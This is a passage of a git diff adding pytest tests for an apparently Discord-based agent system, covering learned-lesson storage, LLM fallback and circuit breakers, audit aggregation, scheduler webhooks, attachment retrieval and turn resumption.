typo_fixture" in caplog.text + assert "Ignoring unknown config key(s): fixture_legacy" not in caplog.text diff --git a/tests/test_campaign_coverage_core_learning.py b/tests/test_campaign_coverage_core_learning.py new file mode 100644 index 000000000..c655d5d10 --- /dev/null +++ b/tests/test_campaign_coverage_core_learning.py @@ -0,0 +1,202 @@ +"""Learned-store integrity and policy behavior using real temporary stores.""" +import asyncio +import copy +import json +from datetime import UTC, datetime, timedelta +from types import SimpleNamespace + +import pytest + +from src.learning.reflector import ( + _HARD_CONTENT_CHARS, + _TRUNCATION_MARKER, + ConversationReflector, +) + + +def test_live_learning_policy_provider_failure_disables_automatic_injection(tmp_path, caplog): + enabled = [True] + + def provider(): + if enabled[0] is None: + raise RuntimeError("fixture policy source unavailable") + return enabled[0] + + path = tmp_path / "learned.json" + reflector = ConversationReflector(str(path), enabled_provider=provider) + reflector._save({"version": 2, "entries": [ + {"key": "policy", "category": "operational", "content": "A scoped fixture lesson."}, + ]}) + token = reflector._policy_token() + assert "scoped fixture lesson" in reflector.get_prompt_section() + enabled[0] = None + assert not reflector.is_enabled() + assert reflector.get_prompt_section() == "" + assert "enabled-state provider failed" in caplog.text + enabled[0] = True + assert reflector.is_enabled() + assert not reflector._policy_allows(token) + assert reflector.get_all_entries()[0]["key"] == "policy" + + +def test_long_replacement_retains_damage_flag_word_boundary_and_other_owner(tmp_path): + path = tmp_path / "learned.json" + reflector = ConversationReflector(str(path)) + existing = [ + {"key": "same", "category": "operational", "content": "Old", "user_id": "alice"}, + {"key": "same", "category": "operational", "content": "Bob", "user_id": "bob"}, + ] + long_content = "word " * (_HARD_CONTENT_CHARS // 5 + 40) + merged = reflector._merge_entries(existing, [{ + "key": "same", "category": "operational", "content": long_content, "user_id": "alice", + }]) + reflector._save({"version": 2, "entries": merged}) + by_owner = {entry["user_id"]: entry for entry in reflector.get_all_entries()} + assert by_owner["alice"]["damaged"] is True + clipped = by_owner["alice"]["content"] + assert len(clipped) <= _HARD_CONTENT_CHARS + assert clipped.endswith("word" + _TRUNCATION_MARKER) + assert by_owner["bob"]["content"] == "Bob" + assert "damaged" not in by_owner["bob"] + + +def test_corrupt_nonlist_entries_fail_closed_with_original_backup(tmp_path): + path = tmp_path / "learned.json" + raw = json.dumps({"version": 2, "entries": {"not": "a corpus"}}) + path.write_text(raw) + reflector = ConversationReflector(str(path)) + assert reflector.get_all_entries() == [] + assert reflector.get_prompt_section() == "" + assert reflector.update_entry("not", content="replacement") is None + assert path.read_text() == raw + assert any(p.read_text() == raw for p in tmp_path.glob("learned.json.corrupt*")) + + +@pytest.mark.parametrize("backend", ["missing", "empty", "error"]) +async def test_consolidation_failure_pins_personal_rules_over_recent_trivia(tmp_path, backend): + reflector = ConversationReflector(str(tmp_path / "learned.json"), consolidation_target=1) + entries = [ + {"key": "rule", "category": "correction", "content": "Keep this explicit rule.", + "user_id": "alice", "updated_at": "2020-01-01T00:00:00+00:00"}, + {"key": "trivia", "category": "operational", "content": "Recent fixture fact.", + "updated_at": datetime.now(UTC).isoformat()}, + ] + calls = [] + + async def completion(messages, system): + calls.append((messages, system)) + if backend == "error": + raise RuntimeError("fixture backend unavailable") + return "[]" + + if backend != "missing": + reflector.set_consolidation_fn(completion) + result = await reflector._consolidate(entries) + assert result == [entries[0]] + assert len(calls) == (0 if backend == "missing" else 1) + reflector._save({"version": 2, "entries": result}) + assert reflector.get_all_entries()[0]["user_id"] == "alice" + + +async def test_disable_during_damage_repair_preserves_all_original_entries(tmp_path): + reflector = ConversationReflector(str(tmp_path / "learned.json"), consolidation_target=1) + entries = [{"key": f"damage_{i}", "category": "correction", "content": "Original lesson", + "damaged": True} for i in range(3)] + before = copy.deepcopy(entries) + entered, release = asyncio.Event(), asyncio.Event() + calls = [] + + async def repair(messages, system): + calls.append((messages, system)) + entered.set() + await release.wait() + return "A repaired lesson that must not be adopted." + + reflector.set_consolidation_fn(repair) + task = asyncio.create_task(reflector._consolidate(entries)) + await entered.wait() + reflector.observe_enabled_state(False) + release.set() + assert await task == before + assert entries == before + assert len(calls) == 1 + assert not reflector._path.exists() + + +async def test_expired_only_consolidation_does_not_call_backend(tmp_path): + reflector = ConversationReflector(str(tmp_path / "learned.json")) + calls = [] + + async def completion(messages, system): + calls.append(messages) + return "[]" + + reflector.set_consolidation_fn(completion) + old = (datetime.now(UTC) - timedelta(days=181)).isoformat() + assert await reflector._consolidate([ + {"key": "old", "category": "fact", "content": "Stale lesson.", "updated_at": old}, + ]) == [] + assert calls == [] + + +@pytest.mark.parametrize("backend", ["missing", "error"]) +async def test_session_reflection_backend_failure_never_changes_learned_store( + tmp_path, caplog, backend +): + path = tmp_path / "learned.json" + reflector = ConversationReflector(str(path)) + reflector._save({"version": 2, "entries": [ + {"key": "existing", "category": "operational", "content": "Keep this fixture lesson."}, + ]}) + before = path.read_bytes() + calls = [] + + async def completion(messages, system): + calls.append(messages) + raise RuntimeError("fixture backend unavailable") + + if backend == "error": + reflector.set_text_fn(completion) + session = SimpleNamespace(messages=[ + SimpleNamespace(role="user", content=f"Fixture message {i}", user_id="alice") + for i in range(5) + ], summary="") + await reflector.reflect_on_session(session, user_id="alice") + assert path.read_bytes() == before + assert len(calls) == (1 if backend == "error" else 0) + assert ("Reflection API call failed" if backend == "error" + else "No text completion backend configured") in caplog.text + + +async def test_operation_over_capacity_consolidates_with_real_backend_and_persists(tmp_path): + path = tmp_path / "learned.json" + reflector = ConversationReflector(str(path), max_entries=1, consolidation_target=1) + reflector._save({"version": 2, "entries": [ + {"key": "first", "category": "operational", "content": "Old description."}, + ]}) + calls = [] + + async def reflection(messages, system): + calls.append("reflect") + return json.dumps([ + {"key": "second", "category": "operational", "content": "Updated description."}, + ]) + + async def consolidate(messages, system): + calls.append("consolidate") + assert "Old description" in messages[0]["content"] + assert "Updated description" in messages[0]["content"] + return json.dumps([ + {"key": "second", "category": "operational", "content": "Updated description."}, + ]) + + reflector.set_text_fn(reflection) + reflector.set_consolidation_fn(consolidate) + await reflector.reflect_on_operation("fixture", ["run_command"], [], "fixture result") + assert calls == ["reflect", "consolidate"] + saved = reflector.get_all_entries() + assert len(saved) == 1 + assert saved[0]["key"] == "second" + assert saved[0]["source"] == {"created_by": "operation"} + assert saved[0]["created_at"] + assert json.loads(path.read_text())["last_reflection"] diff --git a/tests/test_campaign_coverage_core_llm.py b/tests/test_campaign_coverage_core_llm.py new file mode 100644 index 000000000..e3b7676b5 --- /dev/null +++ b/tests/test_campaign_coverage_core_llm.py @@ -0,0 +1,109 @@ +"""Provider fallback and probe ownership without transport calls.""" +import asyncio +from contextlib import asynccontextmanager + +import pytest + +from src.llm.auxiliary import AuxiliaryLLMClient +from src.llm.circuit_breaker import CircuitBreaker, CircuitOpenError +from src.llm.errors import LLMIncompleteResponseError + + +class Transport: + def __init__(self, model, outcome): + self.model = model + self.outcome = outcome + self.requests = [] + self.leases = 0 + self.breaker = CircuitBreaker(model) + + @asynccontextmanager + async def generation_lease(self): + self.leases += 1 + try: + yield + finally: + self.leases -= 1 + + async def chat(self, messages, system, **kwargs): + assert self.leases == 1 + self.requests.append((messages, system, kwargs)) + if isinstance(self.outcome, Exception): + raise self.outcome + return self.outcome + + +async def test_aux_partial_generation_propagates_without_primary_retry(): + error = LLMIncompleteResponseError("accepted partial generation") + aux = Transport("aux", error) + primary = Transport("primary", "must not run") + wrapper = AuxiliaryLLMClient(aux, primary) + with pytest.raises(LLMIncompleteResponseError) as caught: + await wrapper.chat([{"role": "user", "content": "fixture"}], "system", task="reflection") + assert caught.value is error + assert len(aux.requests) == 1 + assert primary.requests == [] + assert aux.leases == primary.leases == wrapper._inflight == 0 + assert wrapper._idle.is_set() + assert wrapper._aux_calls == wrapper._fallback_calls == 0 + + +async def test_aux_fallback_uses_captured_main_model_not_transport_default(): + aux = Transport("aux", RuntimeError("fixture transient failure")) + primary = Transport("transport-default", "fallback answer") + wrapper = AuxiliaryLLMClient(aux, primary, primary_model="selected-main") + result = await wrapper.chat([], "system", task="compaction", max_tokens=123) + assert result == "fallback answer" + assert primary.requests == [([], "system", {"max_tokens": 123, "model": "selected-main"})] + assert wrapper._fallback_calls == 1 + assert aux.leases == primary.leases == wrapper._inflight == 0 + + +@pytest.mark.parametrize("late_result", ["success", "failure"]) +async def test_late_closed_generation_cannot_settle_another_tasks_recovery_probe( + monkeypatch, late_result +): + clock = [0.0] + monkeypatch.setattr("src.llm.circuit_breaker.time.monotonic", lambda: clock[0]) + breaker = CircuitBreaker("fixture", failure_threshold=1, recovery_timeout=10) + late_ready, late_finish = asyncio.Event(), asyncio.Event() + + async def late_request(): + breaker.check() + late_ready.set() + await late_finish.wait() + if late_result == "success": + breaker.record_success() + else: + breaker.record_failure() + + late = asyncio.create_task(late_request()) + await late_ready.wait() + breaker.record_failure() + clock[0] = 11 + breaker.check() + owner = breaker._probe_owner + late_finish.set() + await late + assert breaker.state == "half_open" + assert breaker._probe_owner is owner + assert breaker._failure_count == 1 + assert breaker._last_failure_time == 0 + with pytest.raises(CircuitOpenError): + breaker.check() + breaker.record_success() + assert breaker.state == "closed" + assert breaker._probe_owner is None + breaker.check() + + +def test_half_open_without_owner_remains_fail_closed(): + # Defensive state guard: even an inconsistent/restored internal state must + # not admit an unowned second recovery request. + breaker = CircuitBreaker("fixture", recovery_timeout=15) + breaker._state = "half_open" + with pytest.raises(CircuitOpenError) as caught: + breaker.check() + assert caught.value.provider == "fixture" + assert caught.value.retry_after == 15 + assert breaker._probe_owner is None diff --git a/tests/test_campaign_coverage_core_observability.py b/tests/test_campaign_coverage_core_observability.py new file mode 100644 index 000000000..f1e3dab62 --- /dev/null +++ b/tests/test_campaign_coverage_core_observability.py @@ -0,0 +1,89 @@ +"""Retained audit evidence failures must disclose incomplete coverage.""" +import io +import json +from datetime import UTC, datetime, timedelta +from pathlib import Path +from types import SimpleNamespace + +from src.observability import aggregates + + +def record(): + return (json.dumps({ + "timestamp": (datetime.now(UTC) - timedelta(minutes=1)).replace(tzinfo=None).isoformat(), + "failure": {"class": "TIMEOUT"}, "tool_name": "run_command", + }) + "\n").encode() + + +def test_retained_hardlink_is_not_counted_twice_and_unreadable_generation_is_disclosed( + tmp_path, monkeypatch +): + path = tmp_path / "audit.jsonl" + path.write_bytes(record()) + (tmp_path / "audit.jsonl.1").hardlink_to(path) + blocked = tmp_path / "audit.jsonl.2" + blocked.write_bytes(record()) + original = Path.open + handles = [] + + def open_generation(candidate, *args, **kwargs): + if candidate == blocked: + raise PermissionError("fixture retained generation denied") + handle = original(candidate, *args, **kwargs) + handles.append(handle) + return handle + + monkeypatch.setattr(Path, "open", open_generation) + result = aggregates.failure_aggregates(str(path)) + assert result["classified"] == 1 + assert result["by_class"] == {"TIMEOUT": {"count": 1, "top_tools": {"run_command": 1}}} + assert result["coverage"] == { + "scope": "retained_audit_generations", "generations": 1, + "tail_truncated": False, "read_errors": 1, "complete_retained_scan": False, + } + assert len(handles) == 2 + assert all(handle.closed for handle in handles) + + +class UnreadableSnapshot(io.BytesIO): + def readline(self, size=-1): + raise OSError("fixture captured descriptor read failed") + + +def test_borrowed_snapshot_reports_read_failure_keeps_healthy_evidence_and_ownership(): + good = io.BytesIO(b"[]\n" + record()) + broken = UnreadableSnapshot(record()) + short = io.BytesIO(b"") + snapshot = [ + (good, SimpleNamespace(st_size=len(good.getvalue()))), + (broken, SimpleNamespace(st_size=len(broken.getvalue()))), + (short, SimpleNamespace(st_size=99)), + ] + result = aggregates.failure_aggregates("unused", snapshot=snapshot) + assert result["classified"] == 1 + assert result["coverage"]["read_errors"] == 1 + assert not result["coverage"]["complete_retained_scan"] + assert result["coverage"]["generations"] == 3 + assert not any(handle.closed for handle, _ in snapshot) + for handle, _ in snapshot: + handle.close() + + +def test_trajectory_read_failure_does_not_discard_other_days(tmp_path, monkeypatch, caplog): + now = datetime.now(UTC) + yesterday = now - timedelta(days=1) + blocked = tmp_path / f"{yesterday.date().isoformat()}.jsonl" + blocked.write_text("fixture unavailable") + today = tmp_path / f"{now.date().isoformat()}.jsonl" + today.write_text(json.dumps({"timestamp": now.isoformat(), "context_trace": {}}) + "\n") + original = Path.open + + def read_file(candidate, *args, **kwargs): + if candidate == blocked: + raise OSError("fixture daily trace unavailable") + return original(candidate, *args, **kwargs) + + monkeypatch.setattr(Path, "open", read_file) + turns = list(aggregates._iter_trajectory_turns(tmp_path, yesterday, now)) + assert turns == [{"timestamp": now.isoformat(), "context_trace": {}}] + assert "Could not read trajectory file" in caplog.text diff --git a/tests/test_campaign_coverage_core_scheduler.py b/tests/test_campaign_coverage_core_scheduler.py new file mode 100644 index 000000000..a96ccfbe2 --- /dev/null +++ b/tests/test_campaign_coverage_core_scheduler.py @@ -0,0 +1,144 @@ +"""Scheduler HTTP transport and restart persistence using shaped inert clients.""" +import json +from datetime import UTC, datetime, timedelta + +import pytest + +from src.scheduler import scheduler as module + + +class Response: + def __init__(self, status, body): + self.status = status + self.body = body + self.headers = {"Content-Type": "text/plain"} + self.entered = False + self.exited = False + + async def __aenter__(self): + self.entered = True + return self + + async def __aexit__(self, *exc): + self.exited = True + + async def text(self): + return self.body + + +class Session: + def __init__(self, response): + self.response = response + self.closed = False + self.requests = [] + + def request(self, method, url, **kwargs): + self.requests.append((method, url, kwargs)) + return self.response + + async def close(self): + self.closed = True + + +@pytest.mark.parametrize("body,wire_key", [(None, None), ({"fixture": 1}, "json"), + ([1, 2], "json"), (123, "data")]) +async def test_webhook_serialization_bounded_response_and_session_cleanup( + tmp_path, monkeypatch, body, wire_key +): + response = Response(202, "x" * 5000) + session = Session(response) + monkeypatch.setattr(module.aiohttp, "ClientSession", lambda: session) + scheduler = module.Scheduler(str(tmp_path / "schedules.json")) + cfg = module.Scheduler._normalize_webhook_config({ + "url": "https://fixture.invalid/hook", "method": "put", "body": body, + "headers": {"X-Fixture": "yes"}, "timeout": 7, "expected_status_codes": [202], + }) + result = await scheduler._execute_webhook(cfg) + assert result == {"status_code": 202, "body": "x" * 4096, "headers": response.headers} + method, url, kwargs = session.requests[0] + assert (method, url) == ("PUT", "https://fixture.invalid/hook") + assert kwargs["timeout"].total == 7 + assert kwargs["headers"] == {"X-Fixture": "yes"} + if wire_key: + assert kwargs[wire_key] == (str(body) if wire_key == "data" else body) + else: + assert "json" not in kwargs and "data" not in kwargs + assert response.entered and response.exited + await scheduler.stop() + assert session.closed + + +async def test_webhook_unexpected_status_releases_response_and_reuses_session( + tmp_path, monkeypatch +): + response = Response(503, "fixture unavailable") + session = Session(response) + scheduler = module.Scheduler(str(tmp_path / "schedules.json")) + scheduler._http_session = session + + def no_new_session(): + raise AssertionError("existing HTTP session should be reused") + + monkeypatch.setattr(module.aiohttp, "ClientSession", no_new_session) + with pytest.raises(RuntimeError, match="status 503, expected one of \\[200\\]"): + await scheduler._execute_webhook({ + "url": "https://fixture.invalid", "expected_status_codes": [200], + }) + assert response.exited + assert not session.closed + await scheduler.stop() + + +def test_restart_advances_stale_cron_but_preserves_config_until_publication(tmp_path): + path = tmp_path / "schedules.json" + past = (datetime.now(UTC) - timedelta(days=1)).isoformat() + raw = json.dumps([{"id": "fixture", "cron": "0 * * * *", "next_run": past}]) + path.write_text(raw) + scheduler = module.Scheduler(str(path)) + next_run = datetime.fromisoformat(scheduler.list_all()[0]["next_run"]) + assert next_run > datetime.now(UTC) + assert next_run.minute == next_run.second == 0 + assert path.read_text() == raw + + +def test_corrupt_restart_preserves_evidence_and_loads_empty_runtime(tmp_path): + path = tmp_path / "schedules.json" + path.write_text("{broken fixture") + scheduler = module.Scheduler(str(path)) + assert scheduler.list_all() == [] + assert not path.exists() + assert path.with_suffix(".json.corrupt").read_text() == "{broken fixture" + + +async def test_run_start_marker_survives_restart_and_quarantines_nonreplayable_check(tmp_path): + path = tmp_path / "schedules.json" + scheduler = module.Scheduler(str(path)) + schedule = await scheduler.add( + description="fixture one-shot", run_at=(datetime.now(UTC) + timedelta(hours=1)).isoformat(), + action="check", channel_id="fixture", tool_name="run_command", + tool_input={"command": "printf fixture"}, + ) + await scheduler._mark_run_started(schedule) + started = schedule["run_started_at"] + assert json.loads(path.read_text())[0]["run_started_at"] == started + restarted = module.Scheduler(str(path)) + restored = restarted.list_all()[0] + assert restored["paused"] + assert "completion was never recorded" in restored["inert_reason"] + assert "run_started_at" not in restored + + +@pytest.mark.parametrize("available,reason,epoch", [(1, module.ConnectionReason.AVAILABLE, 0), + (True, "available", 0), + (True, module.ConnectionReason.AVAILABLE, True)]) +def test_invalid_connection_snapshot_is_rejected(available, reason, epoch): + with pytest.raises(TypeError, match="ConnectionAvailability requires"): + module.ConnectionAvailability(available, reason, epoch) + + +def test_unknown_persisted_timezone_uses_future_utc_cron(caplog): + next_run = datetime.fromisoformat(module._cron_next_run("0 * * * *", "Unknown/Fixture")) + assert next_run.utcoffset() == timedelta(0) + assert next_run > datetime.now(UTC) + assert "evaluating cron in UTC" in caplog.text + assert module._utc_iso(datetime(2026, 1, 1)) == "2026-01-01T00:00:00+00:00" diff --git a/tests/test_campaign_discord_attachments.py b/tests/test_campaign_discord_attachments.py new file mode 100644 index 000000000..8219e7486 --- /dev/null +++ b/tests/test_campaign_discord_attachments.py @@ -0,0 +1,139 @@ +"""Saved and retained attachment evidence remains complete and caller-bound.""" +import base64 +import hashlib +import io +import json +import sys +import zipfile +from types import SimpleNamespace +from unittest.mock import MagicMock + +import pytest + +from src.discord.attachments import AttachmentIntent, AttachmentProcessor +from src.discord.intake_pipeline import MessageIntake +from src.tools.runtime_delivery import execution_delivery_scope +from tests.test_attachments import _mock_attachment +from tests.test_executor_output_retention import executor + + +@pytest.mark.parametrize("names", [("same.txt", "same.txt"), ("a?.txt", "a*.txt")]) +async def test_text_paths_do_not_collide_even_when_sanitized(tmp_path, names): + processor = AttachmentProcessor(temp_dir=str(tmp_path), inline_max_bytes=1) + data = [b"first", b"second"] + result = await processor.process([ + _mock_attachment(name, len(body), data=body) for name, body in zip(names, data, strict=True) + ], "42", "1") + assert len({saved.path for saved in result.saved_files}) == 2 + for saved, body in zip(result.saved_files, data, strict=True): + from pathlib import Path + assert Path(saved.path).read_bytes() == body + assert saved.sha256 == hashlib.sha256(body).hexdigest() + + +@pytest.mark.parametrize("archive", [False, True]) +async def test_binary_and_archive_paths_and_extractions_never_collide(tmp_path, archive): + bodies = [b"first", b"second"] + attachments = [] + for body in bodies: + if archive: + buf = io.BytesIO() + with zipfile.ZipFile(buf, "w") as zf: + zf.writestr("nested.txt", body) + body = buf.getvalue() + attachments.append(_mock_attachment("same.zip" if archive else "same.bin", + len(body), data=body)) + result = await AttachmentProcessor(temp_dir=str(tmp_path)).process(attachments, "42", "1") + assert len({saved.path for saved in result.saved_files}) == 2 + from pathlib import Path + for saved, attachment in zip(result.saved_files, attachments, strict=True): + assert Path(saved.path).read_bytes() == attachment.read.return_value + if archive: + for saved, expected in zip(result.saved_files, bodies, strict=True): + extracted = Path(saved.path + ".extracted") / "nested.txt" + assert extracted.read_bytes() == expected + + +@pytest.mark.parametrize("pdf", [False, True]) +async def test_truncated_attachment_full_content_retrieval_and_owner_channel_fences( + tmp_path, monkeypatch, pdf, +): + original = b"line\r\n" * 3000 + b"\xfftail" + expected = [original] + if pdf: + original = b"%PDF fixture original bytes\x00\xff" + pages = [f"Page {i} full contents " + "x" * 40 for i in range(3)] + + class Document: + page_count = 3 + + def __iter__(self): + return iter([SimpleNamespace(get_text=lambda text=text: text) for text in pages]) + + def close(self): + pass + + def open_pdf(*, stream, filetype): + assert stream == original and filetype == "pdf" + return Document() + + monkeypatch.setitem(sys.modules, "fitz", SimpleNamespace(open=open_pdf)) + full = "\n".join(f"Page {i+1}: {text}" for i, text in enumerate(pages)) + expected = [original, full.encode()] + ex = executor(tmp_path) + cfg = SimpleNamespace( + temp_directory=str(tmp_path / "attachments"), inline_text_max_bytes=100000, + preview_max_chars=10, large_preview_chars=10, archive_max_bytes=100000, + archive_max_files=10, archive_extract_max_bytes=100000, + archive_preview_total_chars=100, archive_preview_file_max_bytes=100, + image_max_bytes=10000, pdf_max_bytes=100000, retention_hours=24, + ) + sessions = MagicMock() + sessions.get.return_value = None + intake = MessageIntake(SimpleNamespace( + get_config=lambda: SimpleNamespace(attachments=cfg), get_user=lambda: None, + channel_logger=MagicMock(), channel_config=MagicMock(), channel_state=MagicMock(), + sessions=sessions, pipeline=MagicMock(), tool_executor=ex, + )) + message = SimpleNamespace( + id=1, author=SimpleNamespace(id="owner"), channel=SimpleNamespace(id="42"), + attachments=[_mock_attachment("source.pdf" if pdf else "source.txt", + len(original), data=original)], + ) + text, _ = await intake._process_attachments(message, "ingest this file") + manifest_ref = json.loads(text[text.index('{"kind": "tool_attachment_manifest"'):]) + cursor = manifest_ref["retrieval"]["arguments"]["cursor"] + with execution_delivery_scope("owner", "42"): + assert not (await ex.execute("get_tool_output", {"cursor": cursor}, user_id="other")).ok + with execution_delivery_scope("owner", "other-channel"): + assert not (await ex.execute("get_tool_output", {"cursor": cursor}, user_id="owner")).ok + with execution_delivery_scope("owner", "42"): + manifest_result = await ex.execute("get_tool_output", {"cursor": cursor}, user_id="owner") + assert manifest_result.ok + envelope = json.loads(manifest_result.output) + metadata = json.loads(envelope["text"])["attachments"] + assert len(metadata) == len(expected) + for item, body in zip(metadata, expected, strict=True): + current = item["retrieval"]["arguments"]["cursor"] + rebuilt = b"" + while current: + result = await ex.execute("get_tool_output", {"cursor": current, "limit": 1000}, + user_id="owner") + assert result.ok + page = json.loads(result.output) + assert page["start"] == len(rebuilt) + rebuilt += base64.b64decode(page["data_base64"]) + current = page["cursor"] + assert rebuilt == body + assert item["sha256"] == hashlib.sha256(body).hexdigest() + + +async def test_inline_truncation_preserves_original_and_ingestion_intent(tmp_path): + data = b"a" * 100 + processor = AttachmentProcessor(temp_dir=str(tmp_path), inline_max_bytes=1000, + preview_max_chars=10, large_preview_chars=10) + result = await processor.process([_mock_attachment("source.txt", 100, data=data)], + "42", "1", AttachmentIntent.INGEST_KNOWLEDGE) + assert result.saved_files[0].sha256 == hashlib.sha256(data).hexdigest() + assert result.retained_content[0].data == data + assert "User requested knowledge ingestion" in result.inline_text diff --git a/tests/test_campaign_discord_digest.py b/tests/test_campaign_discord_digest.py new file mode 100644 index 000000000..c2460579c --- /dev/null +++ b/tests/test_campaign_discord_digest.py @@ -0,0 +1,31 @@ +"""Bounded raw fallback through the real scheduled digest callback.""" +from types import SimpleNamespace +from unittest.mock import AsyncMock, MagicMock + +import pytest + +from src.discord.scheduled_events import ScheduledEventHandlers, ScheduledEventsDeps + + +@pytest.mark.parametrize("failed_summary", [False, True]) +async def test_raw_digest_fallback_is_bounded_including_heading_and_failures(failed_summary): + sent = [] + + async def send(text): + assert len(text) <= 2000 + sent.append(text) + + channel = SimpleNamespace(send=send) + client = SimpleNamespace(chat=AsyncMock(side_effect=RuntimeError("summary unavailable"))) + handler = ScheduledEventHandlers(ScheduledEventsDeps( + get_config=lambda: SimpleNamespace(), get_channel=lambda _: channel, + get_guilds=lambda: [], tool_executor=MagicMock(), + audit=MagicMock(log_execution=AsyncMock()), + llm_gateway=SimpleNamespace(active_client=client if failed_summary else None), + tool_loop=MagicMock(), agent_task_tools=MagicMock(), + )) + handler._format_digest_raw = AsyncMock(return_value=("x" * 5000, ["disk" * 100], 2)) + await handler._on_scheduled_digest({"id": "fixture", "channel_id": "42"}) + assert len(sent) == 2 + assert "".join(sent) == ("**Daily Infrastructure Digest**\n\n" + "x" * 3000 + + "\n\nCollection failed for 1 of 2 checks: " + "disk" * 100) diff --git a/tests/test_campaign_discord_final_coverage.py b/tests/test_campaign_discord_final_coverage.py index be806efde..0ef5ceaa5 100644 --- a/tests/test_campaign_discord_final_coverage.py +++ b/tests/test_campaign_discord_final_coverage.py @@ -168,6 +168,8 @@ async def test_application_startup_completes_services_despite_nonfatal_component bot._application_shutdown = False bot.loop = __import__("asyncio").get_running_loop() bot.config = SimpleNamespace() + inventory = object() + bot.api_token_manager = SimpleNamespace(credential_inventory=inventory) bot.audit_signer = object() bot.audit = SimpleNamespace(initialize_chain=AsyncMock(side_effect=RuntimeError("bad chain"))) bot.usage_rollup = SimpleNamespace(start=AsyncMock(side_effect=RuntimeError("backfill failed"))) @@ -192,7 +194,12 @@ async def test_application_startup_completes_services_despite_nonfatal_component SimpleNamespace(passed=True, name="state", detail="ready", recommendation=None), ] ) - bot._run_startup_diagnostics = lambda *, yaml_config: report + def diagnostics(*, yaml_config, credential_inventory): + assert yaml_config is bot.config + assert credential_inventory is inventory + return report + + bot._run_startup_diagnostics = diagnostics async def start_mcp_stub(received): assert received is bot diff --git a/tests/test_campaign_discord_intake.py b/tests/test_campaign_discord_intake.py new file mode 100644 index 000000000..806a416eb --- /dev/null +++ b/tests/test_campaign_discord_intake.py @@ -0,0 +1,49 @@ +"""Buffered authorized intake retains each original message's attachments.""" +import pytest + +from src.discord.intake_pipeline import MessageIntake +from tests.characterization.test_intake_gating import _wait_for_buffer, build +from tests.fakes import FakeAuthor, FakeChannel, FakeMessage +from tests.test_attachments import _mock_attachment + + +@pytest.mark.parametrize("content", ["mixed bot content", ""]) +async def test_buffered_bot_and_webhook_attachment_only_and_mixed(tmp_path, monkeypatch, content): + monkeypatch.chdir(tmp_path) + bot = build(discord={"respond_to_bots": True}, + attachments={"temp_directory": str(tmp_path / "attachments")}) + # Restore the production processor which the characterization helper stubs. + bot.intake._process_attachments = MessageIntake._process_attachments.__get__(bot.intake) + bot.channel_state.bot_msg_buffer_delay = 0.01 + author, channel = FakeAuthor(id=555, name="otherbot", bot=True), FakeChannel(id=99) + first = FakeMessage(content, author=author, channel=channel) + first.attachments = [_mock_attachment("report.txt", 6, data=b"report")] + second = FakeMessage("", author=author, channel=channel) + second.attachments = [_mock_attachment("image.png", 8, content_type="image/png", + data=b"\x89PNG\r\n\x1a\n")] + second.webhook_id = 1234 + await bot.on_message(first) + await bot.on_message(second) + await _wait_for_buffer(lambda: bool(bot.pipeline.run.await_args_list)) + args = bot.pipeline.run.await_args + assert "report" in args.args[1] + if content: + assert content in args.args[1] + assert len(args.kwargs["image_blocks"]) == 1 + assert args.kwargs["from_another_bot"] is True + first.attachments[0].read.assert_awaited_once() + second.attachments[0].read.assert_awaited_once() + + +async def test_required_mention_still_fences_buffered_attachment_download(tmp_path, monkeypatch): + monkeypatch.chdir(tmp_path) + bot = build(discord={"respond_to_bots": True, "require_mention": True}) + bot.intake._process_attachments = MessageIntake._process_attachments.__get__(bot.intake) + bot.channel_state.bot_msg_buffer_delay = 0.01 + msg = FakeMessage("", author=FakeAuthor(id=555, name="otherbot", bot=True)) + attachment = _mock_attachment("report.txt", 6, data=b"report") + msg.attachments = [attachment] + await bot.on_message(msg) + await _wait_for_buffer(lambda: not bot.channel_state.bot_msg_tasks) + attachment.read.assert_not_awaited() + bot.pipeline.run.assert_not_awaited() diff --git a/tests/test_campaign_discord_resume.py b/tests/test_campaign_discord_resume.py new file mode 100644 index 000000000..b567ceb4b --- /dev/null +++ b/tests/test_campaign_discord_resume.py @@ -0,0 +1,61 @@ +"""Requester-first explicit resume lookup through the real persisted store.""" +import time +from types import SimpleNamespace + +from src.turn_state import TurnKey, TurnStatus +from tests.fakes import text_response +from tests.test_resume_admission import Harness, heal_capacity, resume_msg, suspend_turn + + +async def test_explicit_resume_selects_callers_older_work_not_other_newest(tmp_path, monkeypatch): + monkeypatch.chdir(tmp_path) + harness = Harness([], tmp_path) + keys = [] + for message_id, user in [("1", "alice"), ("2", "bob"), ("3", "alice")]: + key = TurnKey(source="discord", channel_id="42", message_id=message_id) + lease, disposition = harness.store.admit_turn_sync( + key, guild_id=None, user_id=user, content_digest=None, code_version=None, + prompt_policy_hash=None, tool_catalog_hash=None, session_snapshot=None, + ) + assert disposition == "admitted" + harness.store.suspend_sync(lease, {}) + keys.append(key) + # Bob is newest overall; Alice's most recent owned work must win. + harness.store._conn.execute( + "UPDATE turns SET suspended_at=? WHERE message_id='2'", [time.time() + 10]) + harness.store._conn.commit() + captured = [] + + async def resume(message, summary): + captured.append(summary) + return "resumed", False, False, [], False + + harness.manager._explicit_resume_recognized = resume + message = SimpleNamespace(content="resume", channel=SimpleNamespace(id="42"), + author=SimpleNamespace(id="alice")) + result = await harness.manager.try_explicit_resume(message) + assert result[0] == "resumed" + assert captured[0]["message_id"] == "3" + assert captured[0]["user_id"] == "alice" + harness.store.close() + + +async def test_owned_older_payload_actually_resumes_through_runner(tmp_path, monkeypatch): + monkeypatch.chdir(tmp_path) + harness, original = await suspend_turn(tmp_path) + other_key = TurnKey("discord", str(original.channel.id), "other-message") + lease, disposition = harness.store.admit_turn_sync( + other_key, guild_id=None, user_id="999999", content_digest=None, code_version=None, + prompt_policy_hash=None, tool_catalog_hash=None, session_snapshot=None, + ) + assert disposition == "admitted" + harness.store.suspend_sync(lease, {}) + heal_capacity(harness, text_response("Finished preserved work.")) + result = await harness.manager.try_explicit_resume(resume_msg(original)) + assert result is not None + assert result[0] == "Finished preserved work." + assert result[2] is False + assert result[3] == ["parse_time"] + assert harness.store.turn_status_sync(other_key) == TurnStatus.SUSPENDED + assert harness.store._conn.execute("SELECT COUNT(*) FROM operations").fetchone()[0] == 1 + harness.store.close() diff --git a/tests/test_campaign_display_binding_coverage.py b/tests/test_campaign_display_binding_coverage.py new file mode 100644 index 000000000..098acadb4 --- /dev/null +++ b/tests/test_campaign_display_binding_coverage.py @@ -0,0 +1,41 @@ +"""Display legacy policy and stale browser grants cannot manufacture authority.""" +from types import SimpleNamespace + +import pytest + +from src.config.schema import ApiTokenIdentity, Config +from src.health.server import SessionManager +from src.web.api._agent_display import _live_effort, _live_model, agent_display_policy +from src.web.computer_binding import browser_binding + + +@pytest.mark.parametrize("provider,section", 